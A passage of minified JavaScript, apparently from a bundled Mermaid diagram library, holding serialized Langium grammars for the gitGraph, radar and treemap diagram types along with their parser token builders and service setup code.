dden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@14"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@15"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false},{"$type":"TerminalRule","name":"REFERENCE","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\\\w([-\\\\./\\\\w]*[-\\\\w])?/"},"fragment":false,"hidden":false}],"definesHiddenTokens":false,"hiddenTokens":[],"interfaces":[],"types":[],"usedGrammars":[]}`)),"GitGraphGrammar"),Eje=Tt(()=>Wme??(Wme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Radar","imports":[],"rules":[{"$type":"ParserRule","entry":true,"name":"Radar","definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"Keyword","value":"radar-beta"},{"$type":"Keyword","value":"radar-beta:"},{"$type":"Group","elements":[{"$type":"Keyword","value":"radar-beta"},{"$type":"Keyword","value":":"}]}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]},{"$type":"Group","elements":[{"$type":"Keyword","value":"axis"},{"$type":"Assignment","feature":"axes","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"axes","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"Keyword","value":"curve"},{"$type":"Assignment","feature":"curves","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"curves","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"options","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"Assignment","feature":"options","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]}}],"cardinality":"*"}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Label","definition":{"$type":"Group","elements":[{"$type":"Keyword","value":"["},{"$type":"Assignment","feature":"label","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@18"},"arguments":[]}},{"$type":"Keyword","value":"]"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Axis","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Curve","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@1"},"arguments":[],"cardinality":"?"},{"$type":"Keyword","value":"{"},{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]},{"$type":"Keyword","value":"}"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"Entries","definition":{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]}}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"}]},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"Keyword","value":","},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"},{"$type":"Assignment","feature":"entries","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@5"},"arguments":[]}}],"cardinality":"*"},{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"*"}]}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"DetailedEntry","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"axis","operator":"=","terminal":{"$type":"CrossReference","type":{"$ref":"#/rules@2"},"terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},"deprecatedSyntax":false}},{"$type":"Keyword","value":":","cardinality":"?"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"NumberEntry","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Option","definition":{"$type":"Alternatives","elements":[{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"showLegend"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@11"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"ticks"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"max"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"min"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}}]},{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"Keyword","value":"graticule"}},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]}}]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"GRATICULE","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"circle"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"polygon"}}]},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@15"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@16"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"interfaces":[{"$type":"Interface","name":"Entry","attributes":[{"$type":"TypeAttribute","name":"axis","isOptional":true,"type":{"$type":"ReferenceType","referenceType":{"$type":"SimpleType","typeRef":{"$ref":"#/rules@2"}}}},{"$type":"TypeAttribute","name":"value","type":{"$type":"SimpleType","primitiveType":"number"},"isOptional":false}],"superTypes":[]}],"definesHiddenTokens":false,"hiddenTokens":[],"types":[],"usedGrammars":[]}`)),"RadarGrammar"),Sje=Tt(()=>Yme??(Yme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Treemap","rules":[{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"ParserRule","entry":true,"name":"Treemap","returnType":{"$ref":"#/interfaces@4"},"definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@0"},"arguments":[]},{"$type":"Assignment","feature":"TreemapRows","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"TREEMAP_KEYWORD","definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"treemap-beta"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"treemap"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"CLASS_DEF","definition":{"$type":"RegexToken","regex":"/classDef\\\\s+([a-zA-Z_][a-zA-Z0-9_]+)(?:\\\\s+([^;\\\\r\\\\n]*))?(?:;)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STYLE_SEPARATOR","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":":::"}},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"SEPARATOR","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":":"}},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"COMMA","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":","}},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WS","definition":{"$type":"RegexToken","regex":"/[ \\\\t]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"ML_COMMENT","definition":{"$type":"RegexToken","regex":"/\\\\%\\\\%[^\\\\n]*/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"NL","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false},{"$type":"ParserRule","name":"TreemapRow","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"indent","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"item","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"ClassDef","dataType":"string","definition":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Item","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@18"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Section","returnType":{"$ref":"#/interfaces@1"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]},{"$type":"Assignment","feature":"classSelector","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}}],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Leaf","returnType":{"$ref":"#/interfaces@2"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"?"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]},{"$type":"Assignment","feature":"classSelector","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}}],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"INDENTATION","definition":{"$type":"RegexToken","regex":"/[ \\\\t]{1,}/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID2","definition":{"$type":"RegexToken","regex":"/[a-zA-Z_][a-zA-Z0-9_]*/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER2","definition":{"$type":"RegexToken","regex":"/[0-9_\\\\.\\\\,]+/"},"fragment":false,"hidden":false},{"$type":"ParserRule","name":"MyNumber","dataType":"number","definition":{"$type":"RuleCall","rule":{"$ref":"#/rules@21"},"arguments":[]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"STRING2","definition":{"$type":"RegexToken","regex":"/\\"[^\\"]*\\"|'[^']*'/"},"fragment":false,"hidden":false}],"interfaces":[{"$type":"Interface","name":"Item","attributes":[{"$type":"TypeAttribute","name":"name","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false},{"$type":"TypeAttribute","name":"classSelector","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}}],"superTypes":[]},{"$type":"Interface","name":"Section","superTypes":[{"$ref":"#/interfaces@0"}],"attributes":[]},{"$type":"Interface","name":"Leaf","superTypes":[{"$ref":"#/interfaces@0"}],"attributes":[{"$type":"TypeAttribute","name":"value","type":{"$type":"SimpleType","primitiveType":"number"},"isOptional":false}]},{"$type":"Interface","name":"ClassDefStatement","attributes":[{"$type":"TypeAttribute","name":"className","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false},{"$type":"TypeAttribute","name":"styleText","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false}],"superTypes":[]},{"$type":"Interface","name":"Treemap","attributes":[{"$type":"TypeAttribute","name":"TreemapRows","type":{"$type":"ArrayType","elementType":{"$type":"SimpleType","typeRef":{"$ref":"#/rules@14"}}},"isOptional":false},{"$type":"TypeAttribute","name":"title","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}},{"$type":"TypeAttribute","name":"accTitle","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}},{"$type":"TypeAttribute","name":"accDescr","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}}],"superTypes":[]}],"definesHiddenTokens":false,"hiddenTokens":[],"imports":[],"types":[],"usedGrammars":[],"$comment":"/**\\n * Treemap grammar for Langium\\n * Converted from mindmap grammar\\n *\\n * The ML_COMMENT and NL hidden terminals handle whitespace, comments, and newlines\\n * before the treemap keyword, allowing for empty lines and comments before the\\n * treemap declaration.\\n */"}`)),"TreemapGrammar"),Cje={languageId:"info",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Aje={languageId:"packet",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},_je={languageId:"pie",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Dje={languageId:"architecture",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Lje={languageId:"gitGraph",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Rje={languageId:"radar",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Nje={languageId:"treemap",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},xs={AstReflection:Tt(()=>new age,"AstReflection")},ZB={Grammar:Tt(()=>xje(),"Grammar"),LanguageMetaData:Tt(()=>Cje,"LanguageMetaData"),parser:{}},JB={Grammar:Tt(()=>bje(),"Grammar"),LanguageMetaData:Tt(()=>Aje,"LanguageMetaData"),parser:{}},eF={Grammar:Tt(()=>Tje(),"Grammar"),LanguageMetaData:Tt(()=>_je,"LanguageMetaData"),parser:{}},tF={Grammar:Tt(()=>wje(),"Grammar"),LanguageMetaData:Tt(()=>Dje,"LanguageMetaData"),parser:{}},rF={Grammar:Tt(()=>kje(),"Grammar"),LanguageMetaData:Tt(()=>Lje,"LanguageMetaData"),parser:{}},nF={Grammar:Tt(()=>Eje(),"Grammar"),LanguageMetaData:Tt(()=>Rje,"LanguageMetaData"),parser:{}},iF={Grammar:Tt(()=>Sje(),"Grammar"),LanguageMetaData:Tt(()=>Nje,"LanguageMetaData"),parser:{}},Mje=/accDescr(?:[\t ]*:([^\n\r]*)|\s*{([^}]*)})/,Ije=/accTitle[\t ]*:([^\n\r]*)/,Oje=/title([\t ][^\n\r]*|)/,Pje={ACC_DESCR:Mje,ACC_TITLE:Ije,TITLE:Oje},Vf=class extends Kp{static{o(this,"AbstractMermaidValueConverter")}static{Tt(this,"AbstractMermaidValueConverter")}runConverter(t,e,r){let n=this.runCommonConverter(t,e,r);return n===void 0&&(n=this.runCustomConverter(t,e,r)),n===void 0?super.runConverter(t,e,r):n}runCommonConverter(t,e,r){let n=Pje[t.name];if(n===void 0)return;let i=n.exec(e);if(i!==null){if(i[1]!==void 0)return i[1].trim().replace(/[\t ]{2,}/gm," ");if(i[2]!==void 0)return i[2].replace(/^\s*/gm,"").replace(/\s+$/gm,"").replace(/[\t ]{2,}/gm," ").replace(/[\n\r]{2,}/gm,` +`)}}},rh=class extends Vf{static{o(this,"CommonValueConverter")}static{Tt(this,"CommonValueConverter")}runCustomConverter(t,e,r){}},Ha=class extends th{static{o(this,"AbstractMermaidTokenBuilder")}static{Tt(this,"AbstractMermaidTokenBuilder")}constructor(t){super(),this.keywords=new Set(t)}buildKeywordTokens(t,e,r){let n=super.buildKeywordTokens(t,e,r);return n.forEach(i=>{this.keywords.has(i.name)&&i.PATTERN!==void 0&&(i.PATTERN=new RegExp(i.PATTERN.toString()+"(?:(?=%%)|(?!\\S))"))}),n}},Bje=class extends Ha{static{o(this,"CommonTokenBuilder")}static{Tt(this,"CommonTokenBuilder")}}});function v6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),rF,y6);return e.ServiceRegistry.register(r),{shared:e,GitGraph:r}}var Fje,y6,aF=N(()=>{"use strict";qa();vo();Fje=class extends Ha{static{o(this,"GitGraphTokenBuilder")}static{Tt(this,"GitGraphTokenBuilder")}constructor(){super(["gitGraph"])}},y6={parser:{TokenBuilder:Tt(()=>new Fje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(v6,"createGitGraphServices");Tt(v6,"createGitGraphServices")});function b6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),ZB,x6);return e.ServiceRegistry.register(r),{shared:e,Info:r}}var $je,x6,sF=N(()=>{"use strict";qa();vo();$je=class extends Ha{static{o(this,"InfoTokenBuilder")}static{Tt(this,"InfoTokenBuilder")}constructor(){super(["info","showInfo"])}},x6={parser:{TokenBuilder:Tt(()=>new $je,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(b6,"createInfoServices");Tt(b6,"createInfoServices")});function w6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),JB,T6);return e.ServiceRegistry.register(r),{shared:e,Packet:r}}var zje,T6,oF=N(()=>{"use strict";qa();vo();zje=class extends Ha{static{o(this,"PacketTokenBuilder")}static{Tt(this,"PacketTokenBuilder")}constructor(){super(["packet"])}},T6={parser:{TokenBuilder:Tt(()=>new zje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(w6,"createPacketServices");Tt(w6,"createPacketServices")});function E6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),eF,k6);return 